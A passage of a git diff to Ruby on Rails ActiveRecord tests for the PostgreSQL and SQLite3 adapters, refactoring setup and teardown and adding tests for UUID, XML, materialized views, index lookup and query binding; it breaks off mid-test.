@connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME} (id integer NOT NULL DEFAULT nextval('#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}'::regclass), CONSTRAINT unmatched_pkey PRIMARY KEY (id))"
end
- def teardown
+ teardown do
@connection.execute "DROP SCHEMA #{SCHEMA2_NAME} CASCADE"
@connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
end
@@ -115,6 +115,12 @@ class SchemaTest < ActiveRecord::TestCase
end
end
+ def test_raise_wraped_exception_on_bad_prepare
+ assert_raises(ActiveRecord::StatementInvalid) do
+ @connection.exec_query "select * from developers where id = ?", 'sql', [[nil, 1]]
+ end
+ end
+
def test_schema_change_with_prepared_stmt
altered = false
@connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]]
@@ -240,6 +246,18 @@ class SchemaTest < ActiveRecord::TestCase
assert_nothing_raised { with_schema_search_path nil }
end
+ def test_index_name_exists
+ with_schema_search_path(SCHEMA_NAME) do
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_A_NAME, true)
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_B_NAME, true)
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_C_NAME, true)
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_D_NAME, true)
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME, true)
+ assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME, true)
+ assert_not @connection.index_name_exists?(TABLE_NAME, 'missing_index', true)
+ end
+ end
+
def test_dump_indexes_for_schema_one
do_dump_index_tests_for_schema(SCHEMA_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN, INDEX_E_COLUMN)
end
@@ -253,13 +271,13 @@ class SchemaTest < ActiveRecord::TestCase
end
def test_with_uppercase_index_name
- ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
- assert_nothing_raised { ActiveRecord::Base.connection.remove_index! "things", "#{SCHEMA_NAME}.things_Index"}
+ @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+ assert_nothing_raised { @connection.remove_index! "things", "#{SCHEMA_NAME}.things_Index"}
+ @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
- ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
- ActiveRecord::Base.connection.schema_search_path = SCHEMA_NAME
- assert_nothing_raised { ActiveRecord::Base.connection.remove_index! "things", "things_Index"}
- ActiveRecord::Base.connection.schema_search_path = "public"
+ with_schema_search_path SCHEMA_NAME do
+ assert_nothing_raised { @connection.remove_index! "things", "things_Index"}
+ end
end
def test_primary_key_with_schema_specified
@@ -310,18 +328,17 @@ class SchemaTest < ActiveRecord::TestCase
end
def test_prepared_statements_with_multiple_schemas
+ [SCHEMA_NAME, SCHEMA2_NAME].each do |schema_name|
+ with_schema_search_path schema_name do
+ Thing5.create(:id => 1, :name => "thing inside #{SCHEMA_NAME}", :email => "thing1@localhost", :moment => Time.now)
+ end
+ end
- @connection.schema_search_path = SCHEMA_NAME
- Thing5.create(:id => 1, :name => "thing inside #{SCHEMA_NAME}", :email => "thing1@localhost", :moment => Time.now)
-
- @connection.schema_search_path = SCHEMA2_NAME
- Thing5.create(:id => 1, :name => "thing inside #{SCHEMA2_NAME}", :email => "thing1@localhost", :moment => Time.now)
-
- @connection.schema_search_path = SCHEMA_NAME
- assert_equal 1, Thing5.count
-
- @connection.schema_search_path = SCHEMA2_NAME
- assert_equal 1, Thing5.count
+ [SCHEMA_NAME, SCHEMA2_NAME].each do |schema_name|
+ with_schema_search_path schema_name do
+ assert_equal 1, Thing5.count
+ end
+ end
end
def test_schema_exists?
diff --git a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
index f1c4b85126..1497b0abc7 100644
--- a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
@@ -1,38 +1,40 @@
require 'cases/helper'
-module ActiveRecord::ConnectionAdapters
- class PostgreSQLAdapter < AbstractAdapter
- class InactivePGconn
- def query(*args)
- raise PGError
- end
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ class InactivePGconn
+ def query(*args)
+ raise PGError
+ end
- def status
- PGconn::CONNECTION_BAD
+ def status
+ PGconn::CONNECTION_BAD
+ end
end
- end
- class StatementPoolTest < ActiveRecord::TestCase
- def test_cache_is_per_pid
- return skip('must support fork') unless Process.respond_to?(:fork)
+ class StatementPoolTest < ActiveRecord::TestCase
+ if Process.respond_to?(:fork)
+ def test_cache_is_per_pid
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
- cache = StatementPool.new nil, 10
- cache['foo'] = 'bar'
- assert_equal 'bar', cache['foo']
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
- pid = fork {
- lookup = cache['foo'];
- exit!(!lookup)
- }
-
- Process.waitpid pid
- assert $?.success?, 'process should exit successfully'
- end
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
+ end
- def test_dealloc_does_not_raise_on_inactive_connection
- cache = StatementPool.new InactivePGconn.new, 10
- cache['foo'] = 'bar'
- assert_nothing_raised { cache.clear }
+ def test_dealloc_does_not_raise_on_inactive_connection
+ cache = StatementPool.new InactivePGconn.new, 10
+ cache['foo'] = 'bar'
+ assert_nothing_raised { cache.clear }
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
index dbc69a529c..4d29a20e66 100644
--- a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
@@ -12,10 +12,6 @@ class TimestampTest < ActiveRecord::TestCase
end
def test_load_infinity_and_beyond
- unless current_adapter?(:PostgreSQLAdapter)
- return skip("only tested on postgresql")
- end
-
d = Developer.find_by_sql("select 'infinity'::timestamp as updated_at")
assert d.first.updated_at.infinite?, 'timestamp should be infinite'
@@ -26,10 +22,6 @@ class TimestampTest < ActiveRecord::TestCase
end
def test_save_infinity_and_beyond
- unless current_adapter?(:PostgreSQLAdapter)
- return skip("only tested on postgresql")
- end
-
d = Developer.create!(:name => 'aaron', :updated_at => 1.0 / 0.0)
assert_equal(1.0 / 0.0, d.updated_at)
@@ -85,10 +77,7 @@ class TimestampTest < ActiveRecord::TestCase
end
def test_bc_timestamp
- unless current_adapter?(:PostgreSQLAdapter)
- return skip("only tested on postgresql")
- end
- date = Date.new(0) - 1.second
+ date = Date.new(0) - 1.week
Developer.create!(:name => "aaron", :updated_at => date)
assert_equal date, Developer.find_by_name("aaron").updated_at
end
@@ -109,5 +98,4 @@ class TimestampTest < ActiveRecord::TestCase
end
result && result.send(option)
end
-
end
diff --git a/activerecord/test/cases/adapters/postgresql/uuid_test.rb b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
index b573d48807..bdf8e15e3e 100644
--- a/activerecord/test/cases/adapters/postgresql/uuid_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
@@ -4,92 +4,201 @@ require "cases/helper"
require 'active_record/base'
require 'active_record/connection_adapters/postgresql_adapter'
-class PostgresqlUUIDTest < ActiveRecord::TestCase
- class UUID < ActiveRecord::Base
- self.table_name = 'pg_uuids'
+module PostgresqlUUIDHelper
+ def connection
+ @connection ||= ActiveRecord::Base.connection
end
- def setup
- @connection = ActiveRecord::Base.connection
-
- unless @connection.supports_extensions?
- return skip "do not test on PG without uuid-ossp"
+ def enable_uuid_ossp
+ unless connection.extension_enabled?('uuid-ossp')
+ connection.enable_extension 'uuid-ossp'
+ connection.commit_db_transaction
end
- unless @connection.extension_enabled?('uuid-ossp')
- @connection.enable_extension 'uuid-ossp'
- @connection.commit_db_transaction
- end
+ connection.reconnect!
+ end
+
+ def drop_table(name)
+ connection.execute "drop table if exists #{name}"
+ end
+end
- @connection.reconnect!
+class PostgresqlUUIDTest < ActiveRecord::TestCase
+ include PostgresqlUUIDHelper
- @connection.transaction do
- @connection.create_table('pg_uuids', id: :uuid) do |t|
- t.string 'name'
- t.uuid 'other_uuid', default: 'uuid_generate_v4()'
- end
- end
+ class UUIDType < ActiveRecord::Base
+ self.table_name = "uuid_data_type"
end
- def teardown
- @connection.execute 'drop table if exists pg_uuids'
+ setup do
+ connection.create_table "uuid_data_type" do |t|
+ t.uuid 'guid'
+ end
end
- def test_id_is_uuid
- assert_equal :uuid, UUID.columns_hash['id'].type
- assert UUID.primary_key
+ teardown do
+ drop_table "uuid_data_type"
end
- def test_id_has_a_default
- u = UUID.create
- assert_not_nil u.id
+ def test_change_column_default
+ @connection.add_column :uuid_data_type, :thingy, :uuid, null: false, default: "uuid_generate_v1()"
+ UUIDType.reset_column_information
+ column = UUIDType.columns.find { |c| c.name == 'thingy' }
+ assert_equal "uuid_generate_v1()", column.default_function
+
+ @connection.change_column :uuid_data_type, :thingy, :uuid, null: false, default: "uuid_generate_v4()"
+
+ UUIDType.reset_column_information
+ column = UUIDType.columns.find { |c| c.name == 'thingy' }
+ assert_equal "uuid_generate_v4()", column.default_function
end
- def test_auto_create_uuid
- u = UUID.create
- u.reload
- assert_not_nil u.other_uuid
+ def test_data_type_of_uuid_types
+ column = UUIDType.columns_hash["guid"]
+ assert_equal :uuid, column.type
+ assert_equal "uuid", column.sql_type
+ assert_not column.number?
+ assert_not column.text?
+ assert_not column.binary?
+ assert_not column.array
end
- def test_pk_and_sequence_for_uuid_primary_key
- pk, seq = @connection.pk_and_sequence_for('pg_uuids')
- assert_equal 'id', pk
- assert_equal nil, seq
+ def test_treat_blank_uuid_as_nil
+ UUIDType.create! guid: ''
+ assert_equal(nil, UUIDType.last.guid)
end
- def test_schema_dumper_for_uuid_primary_key
- schema = StringIO.new
- ActiveRecord::SchemaDumper.dump(@connection, schema)
- assert_match(/\bcreate_table "pg_uuids", id: :uuid\b/, schema.string)
+ def test_uuid_formats
+ ["A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11",
+ "{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}",
+ "a0eebc999c0b4ef8bb6d6bb9bd380a11",
+ "a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11",
+ "{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}"].each do |valid_uuid|
+ UUIDType.create(guid: valid_uuid)
+ uuid = UUIDType.last
+ assert_equal "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11", uuid.guid
+ end
end
end
-class PostgresqlUUIDTestNilDefault < ActiveRecord::TestCase
+class PostgresqlUUIDGenerationTest < ActiveRecord::TestCase
+ include PostgresqlUUIDHelper
+
class UUID < ActiveRecord::Base
self.table_name = 'pg_uuids'
end
- def setup
- @connection = ActiveRecord::Base.connection
- @connection.reconnect!
+ setup do
+ enable_uuid_ossp
- @connection.transaction do
- @connection.create_table('pg_uuids', id: false) do |t|
- t.primary_key :id, :uuid, default: nil
- t.string 'name'
- end
+ connection.create_table('pg_uuids', id: :uuid, default: 'uuid_generate_v1()') do |t|
+ t.string 'name'
+ t.uuid 'other_uuid', default: 'uuid_generate_v4()'
+ end
+ end
+
+ teardown do
+ drop_table "pg_uuids"
+ end
+
+ if ActiveRecord::Base.connection.supports_extensions?
+ def test_id_is_uuid
+ assert_equal :uuid, UUID.columns_hash['id'].type
+ assert UUID.primary_key
+ end
+
+ def test_id_has_a_default
+ u = UUID.create
+ assert_not_nil u.id
+ end
+
+ def test_auto_create_uuid
+ u = UUID.create
+ u.reload
+ assert_not_nil u.other_uuid
+ end
+
+ def test_pk_and_sequence_for_uuid_primary_key
+ pk, seq = connection.pk_and_sequence_for('pg_uuids')
+ assert_equal 'id', pk
+ assert_equal nil, seq
+ end
+
+ def test_schema_dumper_for_uuid_primary_key
+ schema = StringIO.new
+ ActiveRecord::SchemaDumper.dump(connection, schema)
+ assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: "uuid_generate_v1\(\)"/, schema.string)
+ assert_match(/t\.uuid "other_uuid", default: "uuid_generate_v4\(\)"/, schema.string)
+ end
+ end
+end
+
+class PostgresqlUUIDTestNilDefault < ActiveRecord::TestCase
+ include PostgresqlUUIDHelper
+
+ setup do
+ enable_uuid_ossp
+
+ connection.create_table('pg_uuids', id: false) do |t|
+ t.primary_key :id, :uuid, default: nil
+ t.string 'name'
end
end
- def teardown
- @connection.execute 'drop table if exists pg_uuids'
+ teardown do
+ drop_table "pg_uuids"
end
- def test_id_allows_default_override_via_nil
- col_desc = @connection.execute("SELECT pg_get_expr(d.adbin, d.adrelid) as default
+ if ActiveRecord::Base.connection.supports_extensions?
+ def test_id_allows_default_override_via_nil
+ col_desc = connection.execute("SELECT pg_get_expr(d.adbin, d.adrelid) as default
FROM pg_attribute a
LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum
WHERE a.attname='id' AND a.attrelid = 'pg_uuids'::regclass").first
- assert_nil col_desc["default"]
+ assert_nil col_desc["default"]
+ end
+ end
+end
+
+class PostgresqlUUIDTestInverseOf < ActiveRecord::TestCase
+ include PostgresqlUUIDHelper
+
+ class UuidPost < ActiveRecord::Base
+ self.table_name = 'pg_uuid_posts'
+ has_many :uuid_comments, inverse_of: :uuid_post
+ end
+
+ class UuidComment < ActiveRecord::Base
+ self.table_name = 'pg_uuid_comments'
+ belongs_to :uuid_post
+ end
+
+ setup do
+ enable_uuid_ossp
+
+ connection.transaction do
+ connection.create_table('pg_uuid_posts', id: :uuid) do |t|
+ t.string 'title'
+ end
+ connection.create_table('pg_uuid_comments', id: :uuid) do |t|
+ t.uuid :uuid_post_id, default: 'uuid_generate_v4()'
+ t.string 'content'
+ end
+ end
+ end
+
+ teardown do
+ connection.transaction do
+ drop_table "pg_uuid_comments"
+ drop_table "pg_uuid_posts"
+ end
+ end
+
+ if ActiveRecord::Base.connection.supports_extensions?
+ def test_collection_association_with_uuid
+ post = UuidPost.create!
+ comment = post.uuid_comments.create!
+ assert post.uuid_comments.find(comment.id)
+ end
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/view_test.rb b/activerecord/test/cases/adapters/postgresql/view_test.rb
index 66e07b71a0..47b7d38eda 100644
--- a/activerecord/test/cases/adapters/postgresql/view_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/view_test.rb
@@ -1,11 +1,15 @@
require "cases/helper"
-class ViewTest < ActiveRecord::TestCase
- self.use_transactional_fixtures = false
+module ViewTestConcern
+ extend ActiveSupport::Concern
+
+ included do
+ self.use_transactional_fixtures = false
+ mattr_accessor :view_type
+ end
SCHEMA_NAME = 'test_schema'
TABLE_NAME = 'things'
- VIEW_NAME = 'view_things'
COLUMNS = [
'id integer',
'name character varying(50)',
@@ -14,17 +18,19 @@ class ViewTest < ActiveRecord::TestCase
]
class ThingView < ActiveRecord::Base
- self.table_name = 'test_schema.view_things'
end
def setup
+ super
+ ThingView.table_name = "#{SCHEMA_NAME}.#{view_type}_things"
+
@connection = ActiveRecord::Base.connection
@connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
- @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{TABLE_NAME}.table\" (#{COLUMNS.join(',')})"
- @connection.execute "CREATE VIEW #{SCHEMA_NAME}.#{VIEW_NAME} AS SELECT id,name,email,moment FROM #{SCHEMA_NAME}.#{TABLE_NAME}"
+ @connection.execute "CREATE #{view_type.humanize} #{ThingView.table_name} AS SELECT * FROM #{SCHEMA_NAME}.#{TABLE_NAME}"
end
def teardown
+ super
@connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
end
@@ -35,7 +41,7 @@ class ViewTest < ActiveRecord::TestCase
def test_column_definitions
assert_nothing_raised do
- assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{VIEW_NAME}")
+ assert_equal COLUMNS, columns(ThingView.table_name)
end
end
@@ -47,3 +53,15 @@ class ViewTest < ActiveRecord::TestCase
end
end
+
+class ViewTest < ActiveRecord::TestCase
+ include ViewTestConcern
+ self.view_type = 'view'
+end
+
+if ActiveRecord::Base.connection.supports_materialized_views?
+ class MaterializedViewTest < ActiveRecord::TestCase
+ include ViewTestConcern
+ self.view_type = 'materialized_view'
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/xml_test.rb b/activerecord/test/cases/adapters/postgresql/xml_test.rb
new file mode 100644
index 0000000000..ae299697b1
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/xml_test.rb
@@ -0,0 +1,38 @@
+# encoding: utf-8
+
+require 'cases/helper'
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlXMLTest < ActiveRecord::TestCase
+ class XmlDataType < ActiveRecord::Base
+ self.table_name = 'xml_data_type'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ begin
+ @connection.transaction do
+ @connection.create_table('xml_data_type') do |t|
+ t.xml 'payload', default: {}
+ end
+ end
+ rescue ActiveRecord::StatementInvalid
+ skip "do not test on PG without xml"
+ end
+ @column = XmlDataType.columns.find { |c| c.name == 'payload' }
+ end
+
+ teardown do
+ @connection.execute 'drop table if exists xml_data_type'
+ end
+
+ def test_column
+ assert_equal :xml, @column.type
+ end
+
+ def test_null_xml
+ @connection.execute %q|insert into xml_data_type (payload) VALUES(null)|
+ assert_nil XmlDataType.first.payload
+ end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
index e78cb88562..b478db749d 100644
--- a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
@@ -1,7 +1,7 @@
require "cases/helper"
class CopyTableTest < ActiveRecord::TestCase
- fixtures :customers, :companies, :comments, :binaries
+ fixtures :customers
def setup
@connection = ActiveRecord::Base.connection
diff --git a/activerecord/test/cases/adapters/sqlite3/explain_test.rb b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
index b227bce680..f1d6119d2e 100644
--- a/activerecord/test/cases/adapters/sqlite3/explain_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
@@ -9,15 +9,15 @@ module ActiveRecord
def test_explain_for_one_query
explain = Developer.where(:id => 1).explain
- assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = ?), explain
assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
end
def test_explain_with_eager_loading
explain = Developer.where(:id => 1).includes(:audit_logs).explain
- assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = ?), explain
assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
- assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
+ assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
assert_match(/(SCAN )?TABLE audit_logs/, explain)
end
end
diff --git a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
index a7b2764fc1..e4b69fdf7b 100644
--- a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
@@ -95,6 +95,13 @@ module ActiveRecord
end
}.new
assert_equal 10, @conn.type_cast(quoted_id_obj, nil)
+
+ quoted_id_obj = Class.new {
+ def quoted_id
+ "'zomg'"
+ end
+ }.new
+ assert_raise(TypeError) { @conn.type_cast(quoted_id_obj, nil) }
end
end
end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
index a8e5ab81e4..e55525177f 100644
--- a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
@@ -1,50 +1,72 @@
# encoding: utf-8
require "cases/helper"
require 'models/owner'
+require 'tempfile'
+require 'support/ddl_helper'
module ActiveRecord
module ConnectionAdapters
class SQLite3AdapterTest < ActiveRecord::TestCase
+ include DdlHelper
+
self.use_transactional_fixtures = false
class DualEncoding < ActiveRecord::Base
end
def setup
- @conn = Base.sqlite3_connection :database => ':memory:',
- :adapter => 'sqlite3',
- :timeout => 100
- @conn.execute <<-eosql
- CREATE TABLE items (
- id integer PRIMARY KEY AUTOINCREMENT,
- number integer
- )
- eosql
+ @conn = Base.sqlite3_connection database: ':memory:',
+ adapter: 'sqlite3',
+ timeout: 100
+ end
- @conn.extend(LogIntercepter)
- @conn.intercepted = true
+ def test_bad_connection
+ assert_raise ActiveRecord::NoDatabaseError do
+ connection = ActiveRecord::Base.sqlite3_connection(adapter: "sqlite3", database: "/tmp/should/_not/_exist/-cinco-dog.db")
+ connection.exec_query('drop table if exists ex')
+ end
+ end
+
+ unless in_memory_db?
+ def test_connect_with_url
+ original_connection = ActiveRecord::Base.remove_connection
+ tf = Tempfile.open 'whatever'
+ url = "sqlite3:#{tf.path}"
+ ActiveRecord::Base.establish_connection(url)
+ assert ActiveRecord::Base.connection
+ ensure
+ tf.close
+ tf.unlink
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+
+ def test_connect_memory_with_url
+ original_connection = ActiveRecord::Base.remove_connection
+ url = "sqlite3::memory:"
+ ActiveRecord::Base.establish_connection(url)
+ assert ActiveRecord::Base.connection
+ ensure
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
end
def test_valid_column
- column = @conn.columns('items').find { |col| col.name == 'id' }
- assert @conn.valid_type?(column.type)
+ with_example_table do
+ column = @conn.columns('ex').find { |col| col.name == 'id' }
+ assert @conn.valid_type?(column.type)
+ end
end
# sqlite databases should be able to support any type and not
- # just the ones mentioned in the native_database_types.
- # Therefore test_invalid column should always return true
+ # just the ones mentioned in the native_database_types.
+ # Therefore test_invalid column should always return true
# even if the type is not valid.
def test_invalid_column
assert @conn.valid_type?(:foobar)
end
- def teardown
- @conn.intercepted = false
- @conn.logged = []
- end
-
def test_column_types
- owner = Owner.create!(:name => "hello".encode('ascii-8bit'))
+ owner = Owner.create!(name: "hello".encode('ascii-8bit'))
owner.reload
select = Owner.columns.map { |c| "typeof(#{c.name})" }.join ', '
result = Owner.connection.exec_query <<-esql
@@ -54,23 +76,28 @@ module ActiveRecord
esql
assert(!result.rows.first.include?("blob"), "should not store blobs")
+ ensure
+ owner.delete
end
def test_exec_insert
- column = @conn.columns('items').find { |col| col.name == 'number' }
- vals = [[column, 10]]
- @conn.exec_insert('insert into items (number) VALUES (?)', 'SQL', vals)
+ with_example_table do
+ column = @conn.columns('ex').find { |col| col.name == 'number' }
+ vals = [[column, 10]]
+ @conn.exec_insert('insert into ex (number) VALUES (?)', 'SQL', vals)
- result = @conn.exec_query(
- 'select number from items where number = ?', 'SQL', vals)
+ result = @conn.exec_query(
+ 'select number from ex where number = ?', 'SQL', vals)
- assert_equal 1, result.rows.length
- assert_equal 10, result.rows.first.first
+ assert_equal 1, result.rows.length
+ assert_equal 10, result.rows.first.first
+ end
end
def test_primary_key_returns_nil_for_no_pk
- @conn.exec_query('create table ex(id int, data string)')
- assert_nil @conn.primary_key('ex')
+ with_example_table 'id int, data string' do
+ assert_nil @conn.primary_key('ex')
+ end
end
def test_connection_no_db
@@ -81,17 +108,17 @@ module ActiveRecord
def test_bad_timeout
assert_raises(TypeError) do
- Base.sqlite3_connection :database => ':memory:',
- :adapter => 'sqlite3',
- :timeout => 'usa'
+ Base.sqlite3_connection database: ':memory:',
+ adapter: 'sqlite3',
+ timeout: 'usa'
end
end
# connection is OK with a nil timeout
def test_nil_timeout
- conn = Base.sqlite3_connection :database => ':memory:',
- :adapter => 'sqlite3',
- :timeout => nil
+ conn = Base.sqlite3_connection database: ':memory:',
+ adapter: 'sqlite3',
+ timeout: nil
assert conn, 'made a connection'
end
@@ -110,77 +137,83 @@ module ActiveRecord
end
def test_exec_no_binds
- @conn.exec_query('create table ex(id int, data string)')
- result = @conn.exec_query('SELECT id, data FROM ex')
- assert_equal 0, result.rows.length
- assert_equal 2, result.columns.length
- assert_equal %w{ id data }, result.columns
-
- @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- result = @conn.exec_query('SELECT id, data FROM ex')
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
-
- assert_equal [[1, 'foo']], result.rows
+ with_example_table 'id int, data string' do
+ result = @conn.exec_query('SELECT id, data FROM ex')
+ assert_equal 0, result.rows.length
+ assert_equal 2, result.columns.length
+ assert_equal %w{ id data }, result.columns
+
+ @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ result = @conn.exec_query('SELECT id, data FROM ex')
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [[1, 'foo']], result.rows
+ end
end
def test_exec_query_with_binds
- @conn.exec_query('create table ex(id int, data string)')
- @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- result = @conn.exec_query(
- 'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
+ with_example_table 'id int, data string' do
+ @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ result = @conn.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [[1, 'foo']], result.rows
+ assert_equal [[1, 'foo']], result.rows
+ end
end
def test_exec_query_typecasts_bind_vals
- @conn.exec_query('create table ex(id int, data string)')
- @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- column = @conn.columns('ex').find { |col| col.name == 'id' }
+ with_example_table 'id int, data string' do
+ @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ column = @conn.columns('ex').find { |col| col.name == 'id' }
- result = @conn.exec_query(
- 'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
+ result = @conn.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [[1, 'foo']], result.rows
+ assert_equal [[1, 'foo']], result.rows
+ end
end
def test_quote_binary_column_escapes_it
DualEncoding.connection.execute(<<-eosql)
- CREATE TABLE dual_encodings (
+ CREATE TABLE IF NOT EXISTS dual_encodings (
id integer PRIMARY KEY AUTOINCREMENT,
- name string,
+ name varchar(255),
data binary
)
eosql
str = "\x80".force_encoding("ASCII-8BIT")
- binary = DualEncoding.new :name => 'いただきます!', :data => str
+ binary = DualEncoding.new name: 'いただきます!', data: str
binary.save!
assert_equal str, binary.data
-
ensure
- DualEncoding.connection.drop_table('dual_encodings')
+ DualEncoding.connection.execute('DROP TABLE IF EXISTS dual_encodings')
end
def test_type_cast_should_not_mutate_encoding
name = 'hello'.force_encoding(Encoding::ASCII_8BIT)
Owner.create(name: name)
assert_equal Encoding::ASCII_8BIT, name.encoding
+ ensure
+ Owner.delete_all
end
def test_execute
- @conn.execute "INSERT INTO items (number) VALUES (10)"
- records = @conn.execute "SELECT * FROM items"
- assert_equal 1, records.length
-
- record = records.first
- assert_equal 10, record['number']
- assert_equal 1, record['id']
+ with_example_table do
+ @conn.execute "INSERT INTO ex (number) VALUES (10)"
+ records = @conn.execute "SELECT * FROM ex"
+ assert_equal 1, records.length
+
+ record = records.first
+ assert_equal 10, record['number']
+ assert_equal 1, record['id']
+ end
end
def test_quote_string
@@ -188,128 +221,141 @@ module ActiveRecord
end
def test_insert_sql
- 2.times do |i|
- rv = @conn.insert_sql "INSERT INTO items (number) VALUES (#{i})"
- assert_equal(i + 1, rv)
+ with_example_table do
+ 2.times do |i|
+ rv = @conn.insert_sql "INSERT INTO ex (number) VALUES (#{i})"
+ assert_equal(i + 1, rv)
+ end
+
+ records = @conn.execute "SELECT * FROM ex"
+ assert_equal 2, records.length
end
-
- records = @conn.execute "SELECT * FROM items"
- assert_equal 2, records.length
end
def test_insert_sql_logged
- sql = "INSERT INTO items (number) VALUES (10)"
- name = "foo"
-
- assert_logged([[sql, name, []]]) do
- @conn.insert_sql sql, name
+ with_example_table do
+ sql = "INSERT INTO ex (number) VALUES (10)"
+ name = "foo"
+ assert_logged [[sql, name, []]] do
+ @conn.insert_sql sql, name
+ end
end
end
def test_insert_id_value_returned
- sql = "INSERT INTO items (number) VALUES (10)"
- idval = 'vuvuzela'
- id = @conn.insert_sql sql, nil, nil, idval
- assert_equal idval, id
+ with_example_table do
+ sql = "INSERT INTO ex (number) VALUES (10)"
+ idval = 'vuvuzela'
+ id = @conn.insert_sql sql, nil, nil, idval
+ assert_equal idval, id
+ end
end
def test_select_rows
- 2.times do |i|
- @conn.create "INSERT INTO items (number) VALUES (#{i})"
+ with_example_table do
+ 2.times do |i|
